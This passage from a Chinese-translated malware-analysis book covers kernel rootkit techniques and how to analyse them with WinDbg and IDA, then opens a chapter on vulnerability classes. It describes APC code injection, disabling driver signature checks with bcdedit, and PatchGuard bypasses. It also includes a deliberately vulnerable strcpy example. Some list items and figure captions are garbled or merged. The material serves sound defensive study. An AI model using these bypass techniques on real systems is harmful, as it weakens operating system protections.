图 7.19 – 使用 PID 获取 EPROCESS 对象(来自 Stuxnet rootkit,MRxCls)

图 7.19 – 使用 PID 获取 EPROCESS 对象(来自 Stuxnet rootkit,MRxCls)

然后,要附加到该进程的内存空间,你可以使用以下代码:

图 7.20 – 附加到进程的内存空间

图 7.20 – 附加到进程的内存空间

一旦驱动程序附加,它就可以读取和写入其内存空间,并且可以使用ZwAllocateVirtualMemory API 分配内存,通过ZwOpenProcess API 提供进程句柄(相当于用户模式下的OpenProcess)。

驱动程序要从进程内存中分离,可以执行KeUnstackDetachProcess API,如下所示:

KeUnstackDetachProcess(APCState);

还有其他技术,但这种技术是任何驱动程序轻松访问任何进程虚拟内存作为自身内存的最常见方式。现在,让我们来看一下它是如何在该进程内执行代码的。

使用 APC 排队执行注入代码

在调用 SleepExSignalObjectAndWaitMsgWaitForMultipleObjectsExWaitForMultipleObjectsExWaitForSingleObjectEx 等 API 后,线程被恢复之前,所有排队的用户模式和内核模式 APC 函数都将在该线程的上下文中执行,从而使恶意软件能够在该进程内执行用户模式代码,然后再将控制权交还给它。

对于一个恶意软件样本排队 APC 函数,它需要执行以下步骤:

  1. 通过提供 PsLookupThreadByThreadId API,获取要排队 APC 函数的线程的 ETHREAD 对象。

使用 KeInitializeApc API 将用户模式函数附加到该线程。

  1. 使用 KeInsertQueueApc API 将此函数添加到该线程中待执行的 APC 函数队列,如下图所示:

图 7.21 – APC 排队执行用户模式函数(来自 winSRDF 项目)

图 7.21 – APC 排队执行用户模式函数(来自 winSRDF 项目)

在这个示例中,KeInitializeApc API 将在线程从其可警报状态返回后执行一个内核模式函数 ApcKernelRoutine 和一个用户模式函数 Entrypoint

如果线程没有执行之前提到的任何 API,并且在终止之前从未进入可警报状态,那么队列中的 APC 函数将不会被执行。因此,一些恶意软件家族倾向于将它们的 APC 线程附加到应用程序中的多个运行线程上。

其他 rootkit,例如 MRxCls(来自 Stuxnet),在应用程序执行之前修改其入口点。这允许恶意代码在应用程序运行之前在主线程的上下文中执行,并且不使用任何 APC 排队功能。

到这一阶段,我们已经了解了 rootkit 的一般工作原理,接下来让我们谈谈为了对抗 rootkit 所开发的保护机制。

x64 系统中的 KPP(PatchGuard)

在 x64 系统中,微软引入了一种新的保护机制,防止内核模式钩取和打补丁,称为 KPP,也叫 PatchGuard。此保护机制禁用了对 SSDT 和核心内核代码的任何打补丁,并且不允许使用内核分配以外的内核栈。

此外,微软只允许在 x64 系统中加载签名的驱动程序,除非系统处于测试模式或禁用了驱动程序签名强制。

当 KPP 最初推出时,受到防病毒和防火墙厂商的强烈批评,因为 SSDT hooking 和其他钩取方法在多个安全产品中被广泛使用。微软为帮助防病毒产品替换其钩取方法,创建了一个新的 API。

尽管已有多种绕过 PatchGuard 的方法被文档化,但在过去的几年里,微软仅发布了少数几个主要更新来应对这些技术。此外,PatchGuard 代码在内核模式中的位置会随着每次更新发生变化,使其成为一个移动目标,并且打破了所有先前能够绕过 PatchGuard 的恶意软件家族。

现在,让我们看看一些之前的恶意软件家族介绍的不同绕过技术。

绕过驱动程序签名强制检查

除了能够使用被窃取的证书签名恶意驱动程序(例如 Stuxnet 驱动程序),还可以通过命令提示符禁用驱动程序签名强制选项,如下所示:

bcdedit.exe /set testsigning on

在这种情况下,系统将开始允许使用未由微软颁发的证书签名的驱动程序。此命令需要管理员权限,并且之后需要重启机器。然而,通过社会工程学的帮助,可以欺骗用户执行此操作。以前可用的另一个选项是以下命令:

bcdedit /set nointegritychecks on

然而,在撰写时,这个选项在现代版本的 Windows 上被忽视。

此外,一些恶意软件家族滥用合法产品的有漏洞签名驱动程序,这些驱动程序要么存在代码执行漏洞,要么存在允许修改内核内部任意内存的漏洞。一个例子就是 Turla 恶意软件(被认为是国家支持的 APT 恶意软件)。它加载了一个 VirtualBox 驱动程序,并利用它修改了 g_CiEnabled 内核变量,从而在运行时禁用驱动程序签名强制检查(无需重启系统)。

绕过 PatchGuard – Turla 示例

Turla 还通过禁用系统完整性检查失败时显示蓝屏死机的功能绕过了 PatchGuard。PatchGuard 在检测到未经授权的系统内核修补或其重要表格(如 SSDT 或 IDT)被修改时,调用 KeBugCheckEx API 来显示蓝屏死机。Turla 恶意软件挂钩了这个 API,并正常执行。

PatchGuard 的一个后续版本会动态克隆这个 API,以确保验证得到执行并导致系统关闭。然而,Turla 能够挂钩 KeBugCheckEx API 中的一个早期子程序,确保在完整性检查失败后能够正常恢复系统执行。以下代码是 KeBugCheckEx API 的一个代码片段:

mov qword ptr [rsp+8],rcx
mov qword ptr [rsp+10h],rdx
mov qword ptr [rsp+18h],r8
mov qword ptr [rsp+20h],r9
pushfq
sub rsp,30h
cli
mov rcx, qword ptr gs:[20h]
add rcx,120h
call nt!RtlCaptureContext

如你所见,它执行了一个名为 RtlCaptureContext 的函数,这是 Turla 恶意软件选择挂钩的地方,用来绕过这个更新。

绕过 PatchGuard – GhostHook

该技术由 CyberArk 研究团队在 2017 年提出。它利用了英特尔引入的一个新功能,称为 Intel 处理器跟踪 (Intel PT)。该技术允许调试软件跟踪单个进程、用户模式和内核模式的执行,或进行指令指针跟踪。Intel PT 技术设计用于性能监控、诊断代码覆盖、调试、模糊测试、恶意软件分析和漏洞检测。

Intel 处理器及其 callback 例程来处理内存空间问题。这个 callback 函数(即 PMI 处理程序)是恶意软件的目标,它在被监控的运行线程的上下文中执行。

在特定情况下,恶意软件可以通过使用非常小的缓冲区,在每次 sysenter 调用后强制执行其 PMI 处理程序,并执行另一种技术,称为 sysenter 钩取,而不会触发 PatchGuard 保护,也不需要进行 API 钩取。

现在,我们将看看如何分析 rootkits,特别是如何动态分析 rootkits。

内核模式下的静态和动态分析

一旦我们了解了 rootkits 的工作原理,就可以开始分析它们。值得一提的是,并非所有内核模式恶意软件家族只是隐藏实际负载的存在——其中一些还可以执行恶意操作。在本节中,我们将熟悉一些工具,它们可以促进 rootkit 分析,帮助理解恶意软件功能,并学习一些特定使用的细微差别。

静态分析

从静态分析开始总是明智的,尤其是在调试环境无法立即使用的情况下。在某些情况下,使用相同的工具可以同时进行静态和动态分析。

Rootkit 文件结构

Rootkit 样本通常是实现传统 MZ-PE 结构的驱动程序,并在 IMAGE_OPTIONAL_HEADER32 结构的子系统字段中指定 IMAGE_SUBSYSTEM_NATIVE 值。它们使用我们已经熟悉的传统 x86 或 x64 指令。因此,任何支持这些指令的工具(不包括用户模式调试器如 OllyDbg)应该能够处理 rootkits,而不会遇到重大问题。它们的例子包括 IDA、radare2 等工具。此外,IDA 插件如 win_driver_pluginDriverBuddy 对于辅助操作非常有用,比如解码涉及的 IOCTL 代码。

分析工作流程

一旦打开样本,第一步是追踪 DriverObject,它作为主函数的第一个参数提供(在 32 位系统中通过堆栈,在 64 位系统中通过 rcx 寄存器)。通过这种方式,我们可以监视是否有任何主要功能是由恶意软件定义的。这个对象实现了 _DRIVER_OBJECT 结构,并在其末尾列出了主要功能。对应的结构成员如下:

PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];

在汇编语言中,它们可能通过偏移量进行访问,可以通过应用此结构轻松映射。

此外,值得检查是否通过IoSetCompletionRoutine API 指定了任何完成例程。

然后,我们需要搜索允许禁用安全措施的指令,例如前面提到的写保护,涉及使用CR0寄存器。通过这种方式,可以轻松识别代码中实现此功能的确切位置。

接下来,我们需要跟踪已经讨论过的重要导入函数,这些函数通常被 rootkit 使用,并检查相应的参数字符串以了解其用途。恶意软件是否附着到任何设备上?是否提到任何进程或文件名?一旦这些问题得到解答,就可以弄清楚 rootkit 的目标。

最后,如果导入函数是动态解析的,在继续分析之前恢复它们是有意义的。通常,可以通过脚本或借助动态分析来完成此操作。

动态与行为分析

内核模式威胁的动态分析是一个更为棘手的部分,因为它在低级别进行,任何错误都可能导致系统崩溃。因此,强烈建议在虚拟机VMs)上进行操作,这样调试状态可以快速恢复到之前的状态。另一种选择是使用通过串口连接的独立机器。然而,在这种情况下,恢复之前的调试状态通常需要更多的努力。

调试器

当我们谈论动态分析时,我们所指的主要工具是调试器。最流行的调试器如下:

  • ."),以及扩展命令(以 "!" 开头的命令)。以下是进行 rootkit 分析时最常用的一些命令:

    • ?:用于显示常规命令。

    • .help:用于显示元命令。

    • .hh:用于打开指定命令的文档。

    • bpbu,和ba:用于设置断点,包括常规断点、未解析断点(当模块加载时激活)和访问断点。

    • blbdbe,和bc:分别用于列出、禁用、启用和清除断点。

    • gp,和t:这些命令分别表示继续执行(go),单步执行(single step)和单步追踪(single trace)。

    • du:分别用于显示内存和反汇编指令。

    • e:用于将指定的值输入内存(即编辑内存)。

    • dt:用于解析和描述数据类型。例如,dt ntdll!_PEB将显示带有偏移量、字段名和数据类型的 PEB 结构。

    • r:用于显示或修改寄存器。这里,r eip=<val>可以用来更改指令指针。

    • x: 用于列出匹配模式的符号;例如,x ntdll!* 将列出来自 ntdll 的所有符号。

    • lm: 用于列出模块;它通过显示加载的驱动程序及其对应的内存范围来工作。

    • !dh: 这是一个转储头命令;它可以用来解析和显示 MZ-PE 头信息,通过 ImageBase。

    • !process: 显示指定进程的各种信息,包括 PEB 地址。例如,!process 0 0 lsass.exe 将显示 lsass.exe 的基本信息,使用 7 标志可以显示完整的细节,包括 TEB 结构。

    • .process: 此命令设置进程上下文。例如,.process /i <PROCESS>(其中 <PROCESS> 值可以从之前提到的 !process 命令的输出中获取),然后执行 g.reload /user 可以让你切换到指定进程的调试模式。

    • !peb: 解析并显示指定进程的 PEB 结构。此命令可以帮助你通过首先使用 .process 命令切换到进程上下文。

    • !teb: 解析并显示指定的 TEB 结构。

    • .shell: 允许你从 WinDbg 使用 Windows 控制台命令。例如,.shell -ci "<windbg_command>" findstr <value> 允许你解析执行命令的输出。

    • .writemem: 该命令将内存转储到文件中。

  • IDA: 虽然不能单独调试内核模式代码,但它可以作为 WinDbg 的 UI 使用。通过这种方式,它可以让你将静态分析的所有标记和调试代码存储在同一地方。

  • radare2: 与 IDA 相同,这个工具可以在 WinDbg 上使用,且有专门的插件支持。

  • SoftICE (已废弃): 这曾是最流行的 Windows 低级动态分析工具之一。本文写作时,该工具已经废弃,不支持新系统。

除此之外,还有一些其他内核模式调试器,如 SyserRasta Ring 0 Debugger (RR0D)、HyperDbgBugChecker,这些工具似乎不再维护。

监视器

这些工具可以帮助我们洞察与内核模式相关的各种对象和事件:

  • DriverView: 这是 NirSoft 开发的一个工具;它可以让你快速获取已加载驱动程序及其在内存中的位置。

  • DebugView: 这是一个 Sysinternals 工具,允许你监视来自用户模式和内核模式的调试输出。

  • WinObj: 这是 Sysinternals 提供的另一个有用工具,可以列出与内核模式调试相关的各种系统对象,例如设备和驱动程序。

使用它们可能让你快速了解当前系统的全局状态。

Rootkit 检测器

这组工具检查系统中是否存在 rootkit 常用的技术,并提供详细信息。它们在行为分析中非常有用,可以确认样本是否已正确加载。此外,它们还可以用来相对快速地确定样本的功能。一些最受欢迎的工具如下:

  • GMER:这个强大的工具支持多种 rootkit 模式,并提供相对详细的技术信息。它可以搜索各种隐藏的伪装物,如进程、服务、文件、注册表项等。此外,它还具有 rootkit 清除工具。

  • RootkitRevealer:这是另一个先进的 rootkit 检测工具,来自 Sysinternals。与 GMER 不同,它的输出不太技术化,并且已经有一段时间没有更新了。

  • 其他 rootkit 检测工具(现已停用)包括 Rootkit UnhookerDarkSpyIceSword

除了这些,许多杀毒厂商还在开发多种 rootkit 清除工具;然而,它们通常没有提供足够的技术信息来分析威胁。

设置测试环境

有几种可用的选项来执行内核模式调试:

  • 调试器客户端在目标机器上运行:这种设置的一个例子是 WinDbg 或 KD 调试器,利用本地内核调试或与LiveKd工具协作。这种方法不需要工程师设置远程连接,但在这种情况下,并非所有命令都可用。

  • 调试器客户端在主机机器上运行:在这种情况下,虚拟机或其他物理机用于执行样本,所有调试工具以及以标记形式保存的工作结果都存储在外部。此方法可能需要稍多的设置时间,但通常推荐使用,因为它会在后期节省大量时间和精力。

  • 调试器客户端在远程机器上运行:这种设置并不常见;这里的想法是,主机机器运行一个调试服务器,可以与目标机器进行交互,工程师从第三台机器远程连接到该服务器。这种技术被微软称为远程调试。

设置主机和目标机器之间的连接的具体方法可能会有所不同,取决于工程师的偏好。通常,通过网络或电缆进行连接。对于虚拟机,通常通过将串口映射到管道来完成;例如,如果使用的是 COM1 端口,你可以按照以下步骤进行:

  1. 在 VMWare 中,转到 \\.\pipe\<any_pipe_name>。在其余选项中,选择 该端是服务器另一端是应用程序,然后勾选 在轮询时让 CPU 休眠 复选框。

  2. 在 VirtualBox 中,打开虚拟机的设置并转到 \\.\pipe\<any_pipe_name>

图 7.22 – 通过 COM 端口进行内核模式调试的 VirtualBox 设置

图 7.22 – 使用 VirtualBox 进行内核模式调试通过 COM 端口

也可以通过网络进行远程调试,但在这种情况下,来宾机和主机应该共享网络连接,这可能并不总是可取的。

除此之外,要能够进行内核模式调试,目标系统还需要显式允许。执行以下步骤以实现此功能:

  1. 在现代 Windows 操作系统上,以管理员身份运行标准的bcdedit工具并输入以下命令:

    bcdedit /debug on
    
  2. 如果使用本地内核调试,请执行以下命令:

    bcdedit /dbgsettings local
    
  3. 另外,如果使用的是串口,请执行以下命令(适用于 COM1):

    bcdedit /dbgsettings serial debugport:1 baudrate:115200
    
  4. 如果您还想保留原始启动设置,可以创建一个单独的条目,设置如下:

    bcdedit /copy {current} /d "<any_custom_display_name>"
    
  5. 然后,您可以获取生成的<guid>值,并使用它来将所需的设置应用到新条目中:

    bcdedit /set <guid> debug on
    bcdedit /set <guid> debugport 1
    bcdedit /set <guid> baudrate 115200
    

在较旧的操作系统(如 Windows XP)上,可以通过在boot.ini文件中复制默认的启动条目,并使用新的显示名称,添加/debug参数来启用内核模式调试。也可以结合设置调试端口,添加/debugport=com1 /baudrate=115200参数。最终的条目将如下所示:

multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="<any_custom_display_name>" /fastdetect /debug /debugport=com1 /baudrate=115200

确保指定的系统位置与原始条目中使用的匹配。

之后,需要重启计算机,并在启动过程中选择新添加的选项。此步骤也可以在稍后进行,方法是禁用安全检查后进行。

如果需要设置网络调试或使用 Hyper-V 机器,请始终遵循最新的官方 Microsoft 文档。

设置调试器

现在,我们可以运行调试器并检查一切是否按预期工作。如果使用的是本地调试,可以通过以管理员身份运行 WinDbg 并使用以下命令行来完成:

windbg.exe -kl

对于通过串口调试,可以使用_NT_DEBUG_PORT_NT_DEBUG_BAUD_RATE环境变量,或使用正确的命令行参数来指定端口和波特率。对于 COM 端口,设置如下:

windbg.exe -k com:pipe,port=\\.\pipe\<pipe_name>,baud=115200,resets=0,reconnect

也可以通过图形界面进行此操作,使用文件| 内核调试...

图 7.23 – 使用 VirtualBox 和 WinDbg 通过 COM 端口进行内核模式调试

图 7.23 – 使用 VirtualBox 和 WinDbg 通过 COM 端口进行内核模式调试

别忘了之后重启来宾机。

另一种选择是使用一个独立的VirtualKD项目,它旨在提高内核调试的性能,特别是在使用 VMWare 或 VirtualBox 虚拟机时。请遵循官方安装文档,确保它按预期工作。

如果您使用的是 IDA 和 WinDbg 的组合,可以按以下方式进行设置:

  1. 最好确保在PATH环境变量或%IDA%\cfg\ida.cfg文件中指定了正确的 WinDbg 路径(即DBGTOOLS变量)。

  2. 对于内核模式调试,通常建议使用 WinDbg 的 32 位版本;请再次确认在 IDA 的 输出 窗口中使用的是哪个版本。

  3. 打开 IDA 实例,不打开任何文件,但选择 开始 快速启动选项。

  4. 转到 调试器 | 附加 | Windbg 调试器,并指定以下连接字符串,管道名称与虚拟机中使用的名称匹配:

    com:pipe,port=\\.\pipe\<pipe_name>,baud=115200,resets=0,reconnect
    
  5. 然后,在同一对话框中,转到 调试选项 | 设置特定选项,并选择 带有重连和初始中断的内核模式调试 选项(重连是可选的,但应与连接字符串中指定的值匹配)。

一旦确认,以下对话框将会出现:

图 7.24 – IDA 附加到目标机器上的 Windows 内核

图 7.24 – IDA 附加到目标机器上的 Windows 内核

  1. 确定。调试器将中断到内核,WINDBG 命令行将在窗口底部显示。

  2. 查看 | 打开子视图 | 类型库 中添加与内核模式相关的类型库(通常,它们的名称中包含 ddkwdk),这样可以访问多个标准枚举和结构体(你也可以使用 Shift + F11 键盘快捷键)。

一旦确认调试器成功执行,就需要设置符号信息,以便可以在各种 WinDbg 命令中使用标准的 Windows 名称。为此,请在 WinDbg 控制台中执行以下命令:

.sympath srv*<local_path_for_downloaded_symbols>*https://msdl.microsoft.com/download /symbols
.reload /f

在 WinDbg 图形用户界面中,可以通过 -y 命令行参数来指定此项。此外,也可以在 _NT_SYMBOL_PATH 环境变量中进行设置。

如果目标机器和主机机器没有互联网访问权限,则也可以通过使用在目标机器上创建的符号清单文件,从另一台计算机下载符号。为此,请执行以下步骤:

  1. 在目标机器上执行以下命令:

    symchk /om manifest.txt /ie ntoskrnl.exe /s
    <path_to_any_empty_dir>
    
  2. ntkrnlpa.exe 可以替代 ntoskrnl.exe。最后一个参数 /s 旨在避免名称解析延迟。

重要提示

某些 WinDbg 版本存在一个 bug,导致输出文件为空。在这种情况下,请尝试使用不同的版本。

  1. 将创建的 manifest.txt 文件移动到具有互联网访问权限的机器上。

  2. 运行以下命令:

    symchk /im manifest.txt /s srv*<local_path_for_downloaded_symbols>*https://msdl.microsoft. com/download/symbols
    
  3. 完成此操作后,可以将下载的符号文件移动到主机机器并用于调试目的:

    .sympath <local_path_to_downloaded_symbols>
    .reload /f
    

请记住,如果更新目标机器,符号可能会变得无效,应该重复该过程。

停止在驱动程序入口点

现在,我们应该设置一个调试器来拦截驱动程序代码执行的瞬间,以便在其开始时立即控制它。在大多数情况下,我们没有分析样本的符号信息,因此无法使用常见的 WinDbg 命令(如 bp <driver_name>!DriverEntry)来停止在驱动程序入口点。有几种其他方法可以做到这一点,如下所示:

  • 通过设置未解析的断点:可以使用以下命令设置一个断点,当模块加载时将触发:

    bu <driver_name>!<any_string>
    

尽管调试器在此处不会准确地停在入口点,但在第一次停下后,可以手动到达入口点。为此,从控制台输出窗口获取驱动程序的基址,添加入口点的偏移量,然后为结果地址设置一个断点。接着,移除或禁用先前的断点并继续执行。

  • 通过模块加载中断:以下命令允许你拦截所有新加载的模块(可以使用冒号或空格):

    sxe ld:<driver_name>.sys
    

这在调试器中的显示方式如下:

图 7.25 – 在特定模块加载时中断

图 7.25 – 在特定模块加载时中断

一旦调试器中断,就可以在驱动程序的入口点设置断点,并继续使执行在那里停下来:

图 7.26 – 在驱动程序入口点设置断点

图 7.26 – 在驱动程序入口点设置断点

在 IDA 中,与 WinDbg 一起工作时,可以通过转到调试器 | 调试器选项...并启用在库加载/卸载时挂起选项来全局实现此功能。

  • IopLoadDriver API 将控制权转移到驱动程序。不同版本的 Windows 中会有所不同,可以通过以下命令找到它:

    .shell -ci "uf /c nt!IopLoadDriver" grep -B 1 -i "call.*ptr
    \.*h"
    Or, on newer systems:
    .shell -ci "uf nt!guard_dispatch_icall" grep -i "jmp.* rax" | head -n 1
    

一旦找到了偏移量(它将类似于nt!IopLoadDriver+N),就可以在该地址设置断点,并拦截系统将控制权转移到新加载的驱动程序的所有时刻。好处是它可以多次重用,直到系统接收到更新并改变它:

![图 7.27 – 拦截系统将控制权转移到加载的驱动程序的时刻图 7.27 – 拦截系统将控制权转移到加载的驱动程序的时刻+ int 3 指令表示软件断点),重新计算其头部中的校验和字段(在Hiew编辑器中,可以通过选择头部中的此字段,按一次F3重新计算它,然后按F9保存更改),并加载它。调试器会在此指令处断开,因此可以恢复修改后的值为原始值。通常,修改后的指令在修补后不会执行。这意味着需要单步执行,确保它不起作用,返回 IP 寄存器到已更改的指令,然后再继续像往常一样进行分析。这种方法通常需要更多时间,而且也会破坏驱动程序的签名,但在必要时仍然可以使用。## 加载驱动程序现代 64 位 Windows 系统或开启了安全启动的 32 位系统不允许加载未签名的驱动程序。如果示例驱动程序未签名,通常需要弄清楚它是如何在实际环境中执行的(例如,通过滥用其他合法驱动程序),并复现它。通过这种方式,我们可以确保恶意软件的行为完全符合预期。或者,也可以禁用系统安全机制。暂时禁用它最可靠的方法是进入启动过程的高级选项,并选择 bcdedit.exe /set testsigning on 命令,但不建议用于分析,因为它仍然要求驱动程序必须由某个证书正确签名。现在,是时候加载分析过的驱动程序了。这也可以通过 Windows 控制台直接使用标准的 sc 功能来完成:sc create <any_name> type= kernel binpath= "<path_to_driver>" sc start <same_name>下面是前面代码块的一个示例:图 7.28 – 使用 sc 工具加载自定义驱动程序

图 7.28 – 使用 sc 工具加载自定义驱动程序

请注意 type=binpath= 参数后的空格;它们对于确保操作如预期般顺利至关重要。

恢复调试状态

如果使用 IDA,许多工程师在重新加载驱动程序时会遇到一个问题,即它的基地址在内存中发生了变化,导致 IDA 无法应用现有的标记。一个解决方案是将标记保存为 IDC 文件,并创建一个脚本,根据新的位置重新映射所有地址。然而,还有一种更好的组织方式:建议通过调试状态创建 VM 快照,并在必要时通过 IDA 重新连接到这些快照。这样,所有地址都能保持一致,因此可以无更改地应用相同的 IDC 文件。

总结

在本章中,我们熟悉了 Windows 内核模式,学习了如何将请求从用户模式传递到内核模式,再从内核模式返回。然后,我们讨论了 Rootkit,它们可能针对这个过程的哪些部分,以及为什么这样做。我们还介绍了现代 Rootkit 中实施的各种技术,包括恶意软件如何绕过现有的安全机制。

最后,我们探讨了用于执行内核模式威胁静态和动态分析的工具,学习了如何设置测试环境,并总结了进行分析时可以遵循的通用指南。通过完成本章,您应该对高级内核模式威胁的工作原理以及如何使用各种工具和方法进行分析有了深入的了解。

第八章,《处理漏洞与 Shellcode》中,我们将探讨各种类型的漏洞,并了解合法软件如何被滥用,以便攻击者执行恶意操作。

第三部分 检查跨平台和字节码恶意软件

能够使用相同的源代码支持多个平台始终是攻击者和专注于有针对性攻击的人士首选的方法。因此,在过去几年中出现了多个跨平台恶意软件家族,这导致了对能够分析它们的工程师的需求增加。通过学习本节,您将了解跨平台恶意软件的具体情况,并深入理解如何处理它们。

本节包括以下章节:

  • 第八章*,处理利用和 Shellcode*

  • 第九章*,逆向字节码语言 – .NET、Java 及其他*

  • 第十章*,脚本和宏 – 逆向、反混淆和调试*

第八章:处理漏洞利用和 shellcode

在这个阶段,我们已经了解了不同类型的恶意软件。大多数恶意软件的共同点是它们是独立的,一旦进入目标系统便能自行执行。然而,并非所有情况都如此,其中一些恶意软件设计时需要借助目标合法应用程序才能正常工作。

在我们日常生活中,我们与多种软件产品交互,它们的功能各异,从展示猫咪图片到管理核电站。因此,有一个特定类别的威胁,旨在利用这些软件中隐藏的漏洞来实现它们的目的,无论是渗透系统、提升特权,还是崩溃目标应用程序或系统,从而破坏一些重要的进程。

本章将讨论漏洞利用以及如何分析它们。为此,我们将涵盖以下主题:

  • 熟悉漏洞和漏洞利用

  • 破解 shellcode

  • 探索绕过漏洞利用缓解技术

  • 分析 Microsoft Office 漏洞利用

  • 研究恶意 PDF 文件

熟悉漏洞和漏洞利用

在本节中,我们将介绍存在的主要漏洞和漏洞利用类别,以及它们之间的关系。我们将解释攻击者如何利用一个或多个漏洞,在应用程序(甚至整个系统)上下文中执行未经授权的操作,从而控制应用程序(或整个系统)。

漏洞的类型

漏洞是指应用程序内部的错误或弱点,攻击者可以利用这些漏洞执行未经授权的操作。漏洞有多种类型,大多数是由于不安全的编码实践和错误引起的。你应该在处理任何由终端用户控制的输入时特别小心,包括环境变量和依赖模块。在本节中,我们将探讨最常见的漏洞类型,并了解攻击者如何利用它们。

栈溢出漏洞

栈溢出漏洞是最常见的漏洞之一,也是漏洞利用缓解技术通常首先解决的漏洞。近年来,由于引入了数据执行保护/不可执行DEP/NX)技术,其风险已经得到了降低,相关内容将在《探索绕过漏洞利用缓解技术》一节中详细讨论。然而,在某些情况下,它仍然可以被成功利用,或者至少被用来执行拒绝服务DoS)攻击。

让我们来看看以下用 C 语言编写的简单应用:

int vulnerable(char *arg)
{
  char Buffer[80];
  strcpy(Buffer, arg);
  return 0;
}
int main (int argc, char *argv[])
{
  // the command line argument
  vulnerable(argv[1]);
}

如你所知,Buffer[80] 变量的空间(就像任何局部变量一样)是分配在栈上的,紧接着是 EBP 寄存器的值,它会在函数序言的开始时被压入栈中,之后是返回地址:

![图 8.1 – 栈中的局部变量表示]

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_8.1_B18500.jpg)

图 8.1 – 栈中局部变量的表示

因此,通过简单地向该应用程序传递一个超过 80 字节的参数,攻击者可以覆盖所有的缓冲区空间,以及 EBP 和返回地址。这可以控制该应用程序在脆弱函数执行完毕后继续执行的地址。以下图示演示了如何用 shellcode 覆盖 Buffer[80] 和返回地址:

![图 8.2 – 用 shellcode 覆盖 Buffer[80] 和返回地址

](https://github.com/OpenDocCN/freelearn-sec-pt3-zh/raw/master/docs/ms-mlw-anal-2e/img/Figure_8.2_B18500.jpg)

图 8.2 – 用 shellcode 覆盖 Buffer[80] 和返回地址

这是最基本的栈溢出漏洞。现在,让我们来看看其他常见的漏洞类型,比如 堆溢出

堆溢出漏洞

在这种情况下,受影响的变量将不会存储在栈中,而是存储在内存中的动态分配空间中,称为 mallocHeapAlloc 或其他类似的 API。Windows 支持两种类型的堆:默认堆和私有堆(即动态堆);它们都遵循 _HEAP 结构。默认堆的地址存储在 PEB 结构中的 ProcessHeap 字段,并可以通过调用 GetProcessHeap API 获取;私有堆则通过如 HeapCreate 等 API 返回。所有堆地址(包括默认堆)都存储在一个由 PEB 中的 ProcessHeaps 字段指向的列表中。

与栈不同,堆并不存储返回地址,因此不易被利用,但也有其他方式可以滥用它。要理解这些,我们首先需要了解堆结构的一些基础知识。应用程序使用的数据存储在 _HEAP_SEGMENT 结构中,并通过 _HEAP 结构进行引用。所有堆块都包含一个头部(即 _HEAP_ENTRY 结构)和实际数据。然而,当堆块被标记为已释放时,在 _HEAP_ENTRY 结构之后,它会包含一个链表结构,_LIST_ENTRY,用于将空闲堆块连接起来。该结构包括指向前一个空闲堆块(BLink 字段)和下一个空闲堆块(FLink 字段)的指针;链表中的第一个和最后一个空闲堆块由 _HEAP 结构中的 FreeList 字段指向。当系统需要从该链表中移除一个已释放的堆块时(例如,当该块重新分配或在块合并过程中),将会发生解除链接操作。此操作涉及将下一个项的地址写入前一个项的下一个项,并将前一个项的地址写入下一个项的前一个项,从而将该块从链表中移除。相应的代码如下:

图 8.3 – 解除链接过程的示例代码

图 8.3 – 解除链接过程的示例代码

通过溢出堆上存储的变量,攻击者可能会覆盖相邻块的FLinkBLink值,这将使得在解除链接步骤中,可以在任何地址写入任何内容,如前面的截图所示。例如,这可以用来覆盖某个已存在函数的地址,该函数保证会在 shellcode 地址处执行,从而实现其执行。

随着时间的推移,已经引入了多种缓解措施来应对这一技术。从 Windows XP SP2 开始,由于引入了额外的检查,攻击者不得不从滥用FreeList转向滥用Lookaside列表以实现类似目的。从 Windows Vista 开始,除了其他更改外,Lookaside列表被替换为Encoding字段值,迫使攻击者探索不同的技术,如覆盖_HEAP结构。在 Windows 8 中,微软工程师引入了额外的检查和限制来对抗这一方法——这场斗争仍在继续。

使用后释放漏洞

尽管在 Windows 的后续版本中引入了所有的漏洞利用缓解措施,这种类型的漏洞仍然被广泛使用。这些漏洞在浏览器中的 JavaScript 或 PDF 文件等脚本语言中很常见。

当一个对象(内存中的一个结构,我们将在下一章详细介绍)在被释放后仍然被引用时,就会发生这种漏洞。假设代码看起来像这样:

OBJECT Buf = malloc(sizeof(OBJECT));
Buf->address_to_a_func = IsAdmin();
free(Buf);
.... <some code> ....
// execute this function after the buffer was freed
(Buf->address_to_a_func)();

在前面的代码中,Buf包含了IsAdmin函数的地址,该函数会在整个Buf变量在内存中被释放后执行。你认为address_to_a_func仍然会指向IsAdmin吗?也许会,但如果该区域在内存中被重新分配,并且由攻击者控制的另一个变量占用,它们可以将address_to_a_func的值设置为他们选择的地址。结果,这可能允许攻击者执行他们的 shellcode 并控制系统。

vtable数组中。当vtable数组被覆盖并且其中任何函数被调用时,攻击者可以将执行重定向到他们的 shellcode。

整数溢出漏洞

如我们所知,整数值可以占用 1、2、4 或 8 字节。无论为存储它们分配了多少空间,总有一些数字太大,无法适应存储单元的范围。整数溢出漏洞发生在攻击者能够引入一个超出数据单元范围的数字时,这个数据单元本应存储该数字。例如,将一个字节大小的变量用来存储无符号整数256100000000b),这将导致存储000000000b),因为只有最后 8 位能适应一个字节。这可能导致程序出现意外行为,进而有利于攻击者,比如分配一个长度为 0 的缓冲区,然后在其作用域之外写入数据。

逻辑漏洞

逻辑漏洞是指不需要内存损坏即可执行的漏洞。相反,它滥用应用程序逻辑以执行意外操作。一个很好的例子是CVE-2010-2729(MS10-061),被称为Windows 打印池服务漏洞,被 Stuxnet 恶意软件使用。让我们深入了解其工作原理。

Windows 打印 API 允许用户选择他们希望将要打印的文件复制到的目录。因此,使用名为GetSpoolFileHandle的 API,攻击者可以获取目标机器上新创建文件的文件句柄,然后轻松地使用WriteFile(或类似)API 在那里写入任何数据。这类漏洞针对应用程序逻辑,允许攻击者选择他们希望的目录,并提供文件句柄以覆盖此文件并写入他们想要的任何数据。

不同的逻辑漏洞是可能的,它们没有特定的格式。这就是为什么这些类型的漏洞没有通用的缓解措施的原因。然而,与内存损坏漏洞相比,它们仍然相对罕见,因为它们更难发现,并且并非所有漏洞都会导致任意代码执行。

还有其他类型的漏洞,但刚刚介绍的这些类型是您可能会遇到的其他类型漏洞的基石。

现在我们已经介绍了攻击者如何强制应用程序执行其代码,让我们看看这段代码是如何编写的以及攻击者在编写时面临的挑战。

利用类型

一般来说,利用是利用软件中的漏洞执行意外行为的一段代码或数据。利用可以按多种方式分类。首先,除了它们所针对的漏洞之外,当我们谈论利用时,弄清楚正在执行的动作的实际结果至关重要。以下是一些最常见的类型:

